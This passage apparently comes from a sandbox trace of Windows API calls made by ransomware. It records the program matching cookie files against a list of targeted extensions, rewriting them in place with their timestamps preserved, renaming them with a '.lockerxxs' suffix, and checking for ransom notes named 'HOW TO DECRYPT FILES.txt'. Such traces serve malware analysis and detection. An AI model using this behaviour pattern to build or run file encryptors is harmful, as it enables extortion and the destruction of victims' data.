HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt", pszSpec="*.mye") returned 0 [0088.406] lstrlenA (lpString="*.mye") returned 5 [0088.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt", pszSpec="*.mbox") returned 0 [0088.407] lstrlenA (lpString="*.mbox") returned 6 [0088.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt", pszSpec="*.eml") returned 0 [0088.407] lstrlenA (lpString="*.eml") returned 5 [0088.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt", pszSpec="*.pst") returned 0 [0088.407] lstrlenA (lpString="*.pst") returned 5 [0088.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt", pszSpec="*.ost") returned 0 [0088.407] lstrlenA (lpString="*.ost") returned 5 [0088.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt", pszSpec="*.idx") returned 0 [0088.407] lstrlenA (lpString="*.idx") returned 5 [0088.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt", pszSpec="*.dbx") returned 0 [0088.407] lstrlenA (lpString="*.dbx") returned 5 [0088.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt", pszSpec="*.sql") returned 0 [0088.407] lstrlenA (lpString="*.sql") returned 5 [0088.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt", pszSpec="*.mdb") returned 0 [0088.407] lstrlenA (lpString="*.mdb") returned 5 [0088.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt", pszSpec="*.fdb") returned 0 [0088.408] lstrlenA (lpString="*.fdb") returned 5 [0088.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt", pszSpec="*.wab") returned 0 [0088.408] lstrlenA (lpString="*.wab") returned 5 [0088.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt", pszSpec="*.dat") returned 0 [0088.408] lstrlenA (lpString="*.dat") returned 5 [0088.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt", pszSpec="*.txt") returned 1 [0088.408] lstrlenA (lpString="*.txt") returned 5 [0088.408] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt" [0088.408] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt" [0088.408] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt." [0088.408] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt.lockerxxs" [0088.408] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0088.410] GetFileSize (in: hFile=0x9c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5d [0088.410] GetFileTime (in: hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xbf73d210, dwHighDateTime=0x1d2faf2), lpLastAccessTime=0x407536*(dwLowDateTime=0xbf73d210, dwHighDateTime=0x1d2faf2), lpLastWriteTime=0x40753e*(dwLowDateTime=0xbf73d210, dwHighDateTime=0x1d2faf2)) returned 1 [0088.410] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.410] ReadFile (in: hFile=0x9c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x37, lpOverlapped=0x0) returned 1 [0088.412] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt") returned="5p5nrgjn0js_halpmcxz@adformdsp[1].txt" [0088.412] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.413] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x37, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x37, lpOverlapped=0x0) returned 1 [0088.413] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.413] CloseHandle (hObject=0x9c) returned 1 [0088.413] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt.lockerxxs")) returned 1 [0088.414] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf2a0770, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf7d5790, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7d5790, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x14000317, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@adform[1].txt", cAlternateFileName="5P8600~1.TXT")) returned 1 [0088.414] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.414] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@adform[1].txt") returned 1 [0088.414] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@adform[1].txt") returned 1 [0088.414] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@adform[1].txt") returned -1 [0088.414] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt") returned="5p5nrgjn0js_halpmcxz@adformdsp[1].txt" [0088.414] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" [0088.414] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="" [0088.414] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt" [0088.415] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\how to decrypt files.txt")) returned 0x2020 [0088.415] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\", lpString2="5p5nrgjn0js_halpmcxz@adform[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt" [0088.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt", pszSpec="*.ems") returned 0 [0088.415] lstrlenA (lpString="*.ems") returned 5 [0088.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt", pszSpec="*.db") returned 0 [0088.415] lstrlenA (lpString="*.db") returned 4 [0088.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt", pszSpec="*.dbf") returned 0 [0088.415] lstrlenA (lpString="*.dbf") returned 5 [0088.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt", pszSpec="*.myox") returned 0 [0088.415] lstrlenA (lpString="*.myox") returned 6 [0088.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt", pszSpec="*.myo") returned 0 [0088.415] lstrlenA (lpString="*.myo") returned 5 [0088.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt", pszSpec="*.qbw") returned 0 [0088.415] lstrlenA (lpString="*.qbw") returned 5 [0088.415] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt", pszSpec="*.qbb") returned 0 [0088.415] lstrlenA (lpString="*.qbb") returned 5 [0088.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt", pszSpec="*.qbm") returned 0 [0088.416] lstrlenA (lpString="*.qbm") returned 5 [0088.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt", pszSpec="*.qbo") returned 0 [0088.416] lstrlenA (lpString="*.qbo") returned 5 [0088.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt", pszSpec="*.qbx") returned 0 [0088.416] lstrlenA (lpString="*.qbx") returned 5 [0088.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt", pszSpec="*.qba") returned 0 [0088.416] lstrlenA (lpString="*.qba") returned 5 [0088.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt", pszSpec="*.qby") returned 0 [0088.416] lstrlenA (lpString="*.qby") returned 5 [0088.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt", pszSpec="*.qbj") returned 0 [0088.416] lstrlenA (lpString="*.qbj") returned 5 [0088.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt", pszSpec="*.ofx") returned 0 [0088.416] lstrlenA (lpString="*.ofx") returned 5 [0088.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt", pszSpec="*.qif") returned 0 [0088.416] lstrlenA (lpString="*.qif") returned 5 [0088.416] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt", pszSpec="*.mye") returned 0 [0088.416] lstrlenA (lpString="*.mye") returned 5 [0088.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt", pszSpec="*.mbox") returned 0 [0088.417] lstrlenA (lpString="*.mbox") returned 6 [0088.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt", pszSpec="*.eml") returned 0 [0088.417] lstrlenA (lpString="*.eml") returned 5 [0088.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt", pszSpec="*.pst") returned 0 [0088.417] lstrlenA (lpString="*.pst") returned 5 [0088.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt", pszSpec="*.ost") returned 0 [0088.417] lstrlenA (lpString="*.ost") returned 5 [0088.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt", pszSpec="*.idx") returned 0 [0088.417] lstrlenA (lpString="*.idx") returned 5 [0088.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt", pszSpec="*.dbx") returned 0 [0088.417] lstrlenA (lpString="*.dbx") returned 5 [0088.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt", pszSpec="*.sql") returned 0 [0088.417] lstrlenA (lpString="*.sql") returned 5 [0088.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt", pszSpec="*.mdb") returned 0 [0088.417] lstrlenA (lpString="*.mdb") returned 5 [0088.417] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt", pszSpec="*.fdb") returned 0 [0088.417] lstrlenA (lpString="*.fdb") returned 5 [0088.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt", pszSpec="*.wab") returned 0 [0088.418] lstrlenA (lpString="*.wab") returned 5 [0088.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt", pszSpec="*.dat") returned 0 [0088.418] lstrlenA (lpString="*.dat") returned 5 [0088.418] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt", pszSpec="*.txt") returned 1 [0088.418] lstrlenA (lpString="*.txt") returned 5 [0088.418] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt" [0088.418] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt" [0088.418] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt." [0088.419] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt.lockerxxs" [0088.419] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adform[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0088.420] GetFileSize (in: hFile=0x9c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xea [0088.420] GetFileTime (in: hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xbf2a0770, dwHighDateTime=0x1d2faf2), lpLastAccessTime=0x407536*(dwLowDateTime=0xbf7d5790, dwHighDateTime=0x1d2faf2), lpLastWriteTime=0x40753e*(dwLowDateTime=0xbf7d5790, dwHighDateTime=0x1d2faf2)) returned 1 [0088.420] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.421] ReadFile (in: hFile=0x9c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xc4, lpOverlapped=0x0) returned 1 [0088.422] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt") returned="5p5nrgjn0js_halpmcxz@adform[1].txt" [0088.422] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.422] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xc4, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xc4, lpOverlapped=0x0) returned 1 [0088.423] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.423] CloseHandle (hObject=0x9c) returned 1 [0088.423] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adform[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adform[1].txt.lockerxxs")) returned 1 [0088.424] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe5d5130, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0x45f08810, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45f08810, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x1b000318, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@adnxs[1].txt", cAlternateFileName="5P89EF~1.TXT")) returned 1 [0088.424] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.424] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@adnxs[1].txt") returned 1 [0088.424] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@adnxs[1].txt") returned 1 [0088.424] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@adnxs[1].txt") returned -1 [0088.424] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt") returned="5p5nrgjn0js_halpmcxz@adform[1].txt" [0088.424] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS 